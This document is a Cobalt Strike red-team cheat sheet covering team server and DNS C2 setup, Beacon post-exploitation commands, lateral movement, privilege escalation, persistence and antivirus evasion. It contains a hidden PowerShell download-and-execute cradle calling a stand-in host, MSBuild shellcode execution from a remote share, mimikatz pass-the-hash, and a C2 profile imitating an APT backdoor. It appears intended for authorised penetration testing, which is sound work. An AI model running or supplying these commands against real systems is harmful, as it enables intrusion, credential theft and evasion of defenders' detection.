Cobalt Strike is threat emulation software. Red teams and penetration testers use Cobalt Strike to demonstrate the risk of a breach and evaluate mature security programs. Cobalt Strike exploits network vulnerabilities, launches spear phishing campaigns, hosts web drive-by attacks, and generates malware infected files from a powerful graphical user interface that encourages collaboration and reports all activity.
$ sudo apt-get update
$ sudo apt-get install openjdk-11-jdk
$ sudo apt install proxychains socat
$ sudo update-java-alternatives -s java-1.11.0-openjdk-amd64
$ sudo ./teamserver 10.10.10.10 "password" [malleable C2 profile]
$ ./cobaltstrike
$ powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://campaigns.example.com/download/dnsback'))"
sudo apt install socat
socat TCP4-LISTEN:80,fork TCP4:[TEAM SERVER]:80
Don’t
* Change default self-signed HTTPS certificate
* Change default port (50050)
* 0.0.0.0 DNS response
* Metasploit compatibility, ask for a payload : wget -U "Internet Explorer" http://127.0.0.1/vl6D
Do
* Use a redirector (Apache, CDN, …)
* Firewall to only accept HTTP/S from the redirectors
* Firewall 50050 and access via SSH tunnel
* Edit default HTTP 404 page and Content type: text/plain
* No staging set hosts_stage
to false
in Malleable C2
Your Cobalt Strike team server system must be authoritative for the domains you specify. Create a DNS A record and point it to your Cobalt Strike team server. Use DNS NS records to delegate several domains or sub-domains to your Cobalt Strike team server’s A record.
Example of DNS on Digital Ocean:
NS example.com directs to 10.10.10.10. 86400
NS polling.campaigns.example.com directs to campaigns.example.com. 3600
A campaigns.example.com directs to 10.10.10.10 3600
systemctl disable systemd-resolved
systemctl stop systemd-resolved
rm /etc/resolv.conf
echo "nameserver 8.8.8.8" > /etc/resolv.conf
echo "nameserver 8.8.4.4" >> /etc/resolv.conf
Configuration:
1. host: campaigns.domain.com
2. beacon: polling.campaigns.domain.com
3. Interact with a beacon, and sleep 0
link [host] [pipename]
connect [host] [port]
unlink [host] [PID]
jump [exec] [host] [pipe]
SMB Beacon uses Named Pipes. You might encounter these error code while running it.
Error Code | Meaning | Description |
---|---|---|
2 | File Not Found | There is no beacon for you to link to |
5 | Access is denied | Invalid credentials or you don’t have permission |
53 | Bad Netpath | You have no trust relationship with the target system. It may or may not be a beacon there. |
# deploy a beacon
beacon> help ssh
Use: ssh [target:port] [user] [pass]
Spawn an SSH client and attempt to login to the specified target
beacon> help ssh-key
Use: ssh [target:port] [user] [/path/to/key.pem]
Spawn an SSH client and attempt to login to the specified target
# beacon's commands
upload Upload a file
download Download a file
socks Start SOCKS4a server to relay traffic
sudo Run a command via sudo
rportfwd Setup a reverse port forward
shell Execute a command via the shell
https://ired.team/offensive-security/code-execution/using-msbuild-to-execute-shellcode-in-c
* Attacks > Packages > Payload Generator
* Attacks > Packages > Scripted Web Delivery (S)
$ python2 ./shellcode_encoder.py -cpp -cs -py payload.bin MySecretPassword xor
$ C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe C:\Windows\Temp\dns_raw_stageless_x64.xml
$ %windir%\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe \\10.10.10.10\Shared\dns_raw_stageless_x86.xml
set useragent "SOME AGENT"; # GOOD
set useragent 'SOME AGENT'; # BAD
prepend "This is an example;";
# Escape Double quotes
append "here is \"some\" stuff";
# Escape Backslashes
append "more \\ stuff";
# Some special characters do not need escaping
prepend "!@#$%^&*()";
Check a profile with ./c2lint
.
#
# Etumbot Profile
# http://www.arbornetworks.com/asert/2014/06/illuminating-the-etumbot-apt-backdoor/
#
# Author: @harmj0y
#
set sample_name "Etumbot";
set sleeptime "5000";
set jitter "0";
set maxdns "255";
set useragent "Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/5.0)";
http-get {
set uri "/image/";
client {
header "Accept" "text/html,application/xhtml+xml,application/xml;q=0.9,*/*l;q=0.8";
header "Referer" "http://www.google.com";
header "Pragma" "no-cache";
header "Cache-Control" "no-cache";
metadata {
netbios;
append "-.jpg";
uri-append;
}
}
server {
header "Content-Type" "img/jpg";
header "Server" "Microsoft-IIS/6.0";
header "X-Powered-By" "ASP.NET";
output {
base64;
print;
}
}
}
http-post {
set uri "/history/";
client {
header "Content-Type" "application/octet-stream";
header "Referer" "http://www.google.com";
header "Pragma" "no-cache";
header "Cache-Control" "no-cache";
id {
netbiosu;
append ".asp";
uri-append;
}
output {
base64;
print;
}
}
server {
header "Content-Type" "img/jpg";
header "Server" "Microsoft-IIS/6.0";
header "X-Powered-By" "ASP.NET";
output {
base64;
print;
}
}
}
# List the file on the specified directory
beacon > ls <C:\Path>
# Change into the specified working directory
beacon > cd [directory]
# Delete a file\folder
beacon > rm [file\folder]
# File copy
beacon > cp [src] [dest]
# Download a file from the path on the Beacon host
beacon > download [C:\filePath]
# Lists downloads in progress
beacon > downloads
# Cancel a download currently in progress
beacon > cancel [*file*]
# Upload a file from the attacker to the current Beacon host
beacon > upload [/path/to/file]
# Import a Powershell .ps1 script from the control server and save it in memory in Beacon
beacon > powershell-import [/path/to/script.ps1]
# Setup a local TCP server bound to localhost and download the script imported from above using powershell.exe. Then the specified function and any arguments are executed and output is returned.
beacon > powershell [commandlet][arguments]
# Launch the given function using Unmanaged Powershell, which does not start powershell.exe. The program used is set by spawnto
beacon > powerpick [commandlet] [argument]
# Inject Unmanaged Powershell into a specific process and execute the specified command. This is useful for long-running Powershell jobs
beacon > psinject [pid][arch] [commandlet] [arguments]
Run a local .NET executable as a Beacon post-exploitation job.
Require:
* Binaries compiled with the “Any CPU” configuration.
beacon > execute-assembly [/path/to/script.exe] [arguments]
beacon > execute-assembly /home/audit/Rubeus.exe
[*] Tasked beacon to run .NET program: Rubeus.exe
[+] host called home, sent: 318507 bytes
[+] received output:
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.4.2
:warning: OPSEC Advice: Use the spawnto command to change the process Beacon will launch for its post-exploitation jobs. The default is rundll32.exe
:warning: All the commands launch powershell.exe
Beacon Remote Exploits
======================
jump [module] [target] [listener]
psexec x86 Use a service to run a Service EXE artifact
psexec64 x64 Use a service to run a Service EXE artifact
psexec_psh x86 Use a service to run a PowerShell one-liner
winrm x86 Run a PowerShell script via WinRM
winrm64 x64 Run a PowerShell script via WinRM
Beacon Remote Execute Methods
=============================
remote-exec [module] [target] [command]
Methods Description
------- -----------
psexec Remote execute via Service Control Manager
winrm Remote execute via WinRM (PowerShell)
wmi Remote execute via WMI (PowerShell)
Opsec safe Pass-the-Hash:
1. mimikatz sekurlsa::pth /user:xxx /domain:xxx /ntlm:xxxx /run:"powershell -w hidden"
2. steal_token PID
link
to connect to SMB Beaconconnect
to connect to TCP Beacon:warning: Covert VPN doesn’t work with W10, and requires Administrator access to deploy.
Use socks 8080 to setup a SOCKS4a proxy server on port 8080 (or any other port you choose). This will setup a SOCKS proxy server to tunnel traffic through Beacon. Beacon’s sleep time adds latency to any traffic you tunnel through it. Use sleep 0 to make Beacon check-in several times a second.
# Start a SOCKS server on the given port on your teamserver, tunneling traffic through the specified Beacon. Set the teamserver/port configuration in /etc/proxychains.conf for easy usage.
beacon > socks [PORT]
# Proxy browser traffic through a specified Internet Explorer process.
beacon > browserpivot [pid] [x86|x64]
# Bind to the specified port on the Beacon host, and forward any incoming connections to the forwarded host and port.
beacon > rportfwd [bind port] [forward host] [forward port]
UAC Token Duplication : Fixed in Windows 10 Red Stone 5 (October 2018)
beacon> runasadmin
Beacon Command Elevators
========================
Exploit Description
------- -----------
ms14-058 TrackPopupMenu Win32k NULL Pointer Dereference (CVE-2014-4113)
ms15-051 Windows ClientCopyImage Win32k Exploit (CVE 2015-1701)
ms16-016 mrxdav.sys WebDav Local Privilege Escalation (CVE 2016-0051)
svc-exe Get SYSTEM via an executable run as a service
uac-schtasks Bypass UAC with schtasks.exe (via SilentCleanup)
uac-token-duplication Bypass UAC with Token Duplication
https://github.com/fireeye/SharPersist
# List persistences
SharPersist -t schtaskbackdoor -m list
SharPersist -t startupfolder -m list
SharPersist -t schtask -m list
# Add a persistence
SharPersist -t schtaskbackdoor -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Something Cool" -m add
SharPersist -t schtaskbackdoor -n "Something Cool" -m remove
SharPersist -t service -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Some Service" -m add
SharPersist -t service -n "Some Service" -m remove
SharPersist -t schtask -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Some Task" -m add
SharPersist -t schtask -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Some Task" -m add -o hourly
SharPersist -t schtask -n "Some Task" -m remove
The Resource Kit is Cobalt Strike’s means to change the HTA, PowerShell, Python, VBA, and VBS script templates Cobalt Strike uses in its workflows
Cobalt Strike uses the Artifact Kit to generate its executables and DLLs. The Artifact Kit is a source code framework to build executables and DLLs that evade some anti-virus products. The Artifact Kit build script creates a folder with template artifacts for each Artifact Kit technique. To use a technique with Cobalt Strike, go to Cobalt Strike -> Script Manager, and load the artifact.cna script from that technique’s folder.
Artifact Kit (Cobalt Strike 4.0) - https://www.youtube.com/watch?v=6mC21kviwG4 :
Go to Help -> Arsenal to download Artifact Kit (requires a licensed version of Cobalt Strike)
sudo apt-get install mingw-w64
VirtualAlloc
in patch.c
/patch.exe
, e.g: HeapAlloc